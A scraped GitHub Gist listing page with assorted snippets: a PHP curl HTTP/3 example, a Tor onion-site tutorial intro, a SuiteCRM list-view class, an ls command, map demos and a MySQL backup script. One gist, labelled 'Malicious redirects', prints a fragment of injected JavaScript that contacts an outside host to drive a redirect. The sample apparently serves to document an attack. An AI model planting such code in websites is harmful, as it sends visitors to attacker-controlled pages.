Skip to content

Instantly share code, notes, and snippets.

@magefix
magefix / sk-jspark_init.php
Created July 30, 2021 08:37
Malicious redirects
(function() {
if(!window._skz_pid)
return;
try
{
this._hlpr = function(){
return {
url : "//freeresultsguide.com/sk-jspark.php?",
params : {
@98lenvi
98lenvi / Create website in darkweb.md
Last active May 25, 2025 17:12
steps to host dark web website

Create your own site in the dark web.

There is a lot of misconception around the dark web, and most of the people think that it is not possible to create their own website on Dark web (The Onion network). Today we will set up a website in the Onion/Tor network for free.

Screenshot of my dark website

As you can see above, I have created my own website in the Tor network, and I've accessed it using the Tor Browser.

This tutorial consists of three steps

@bagder
bagder / http3.php
Last active July 26, 2023 14:33
HTTP/3 with PHP/CURL
if (!defined('CURL_HTTP_VERSION_3')) {
define('CURL_HTTP_VERSION_3', 30);
}
$ch = curl_init("https://cloudflare-quic.com/");
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_3);
curl_exec($ch);
<?php
namespace Pokus;
class Exception extends \Exception
{
}
function tttt($string)
{
try {
@pgorod
pgorod / gist:5de7c6f8d37413654b16e06668d7e1b1
Last active February 12, 2024 19:36 — forked from jmertic/gist:3684156
HOWTO: Adding your own ListView action items - Part 1
<?php
require_once('include/MVC/View/views/view.list.php');
class CustomAccountsViewList extends ViewList
{
/**
* @see ViewList::preDisplay()
*/
public function preDisplay()
@mujahidk
mujahidk / ls-mega-bytes.sh
Created December 23, 2016 15:01
List files using ls and size in MB (mega bytes)
# https://xkcd.com/1168/ :)
ls -l --block-size=M
@dwtkns
dwtkns / README.md
Last active October 19, 2023 16:44
Slippy map + extent indicator
@mbostock
mbostock / .block
Last active June 21, 2023 17:50
Zoomable Map Tiles
license: gpl-3.0
redirect: https://observablehq.com/@d3/zoomable-map-tiles
@Richtermeister
Richtermeister / mysqlbackup.php
Created February 19, 2011 18:51
backup of mysql database as individual tables (zipped)
<?php
/**
* simple script to export mysql database(s) into zip file(s) containing individual tables
*
* @author Richtermeister
*/
//database access params
$mysql_host = "localhost";